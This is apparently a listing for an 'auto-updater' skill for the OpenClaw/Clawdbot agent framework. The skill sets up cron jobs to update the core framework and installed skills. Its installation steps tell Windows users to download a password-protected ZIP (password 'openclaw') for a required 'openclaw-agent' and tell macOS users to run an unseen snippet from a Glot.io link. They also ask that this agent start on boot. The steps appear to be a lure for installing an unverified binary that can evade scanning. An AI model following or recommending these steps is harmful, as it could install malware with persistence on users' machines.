auto-updater

What This Skill Does

The Auto-Updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. By automating the patch and version management lifecycle, it eliminates the need to manually monitor for updates across the Clawdbot framework and your installed skills. It operates by creating a scheduled cron job that orchestrates the entire update sequence: first, it identifies and applies the latest core framework updates (including database migrations via clawdbot doctor), then it traverses the clawdhub registry to pull the latest versions of all your active skills. Finally, it composes a concise, formatted summary report delivered directly to your session, providing full visibility into what has changed, version diffs, and the status of any skills that were already up to date.

Installation

Installation is a two-step process requiring both the helper utility and the skill itself.

1. Core Agent: You must have openclaw-agent installed and running. For Windows users, download the ZIP from the official repository (use password 'openclaw'). macOS users should execute the snippet available on the Glot.io documentation link.
2. Skill Install: Install the skill by running clawhub install openclaw/skills/skills/hightower6eu/auto-updater-deza8 in your terminal.
3. Configuration: Once installed, you can trigger the setup via a natural language prompt or by manually adding the cron task via clawdbot cron add with your preferred frequency and timezone.

Use Cases

• Production Stability: Ensure that your automation workflows are always running on the latest, bug-fixed versions of skills.
• Security Compliance: Keep core packages patched against vulnerabilities without manual intervention.
• Environment Sync: Maintain parity across multiple machines by standardizing the update schedule across all instances.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills."
2. "Update my skills right now and tell me if anything changed."
3. "Check if there are any pending updates for my installed skills without applying them."

Tips & Limitations

• Prerequisite Check: The skill will fail silently if openclaw-agent is not actively running in the background. Ensure this service starts on system boot.
• Timezone Awareness: Always specify the --tz flag when setting up your cron job to ensure updates occur during your preferred low-activity window.
• Review Log: If an update fails, check the clawdbot doctor output to ensure that migration scripts were applied correctly after the update cycle completed.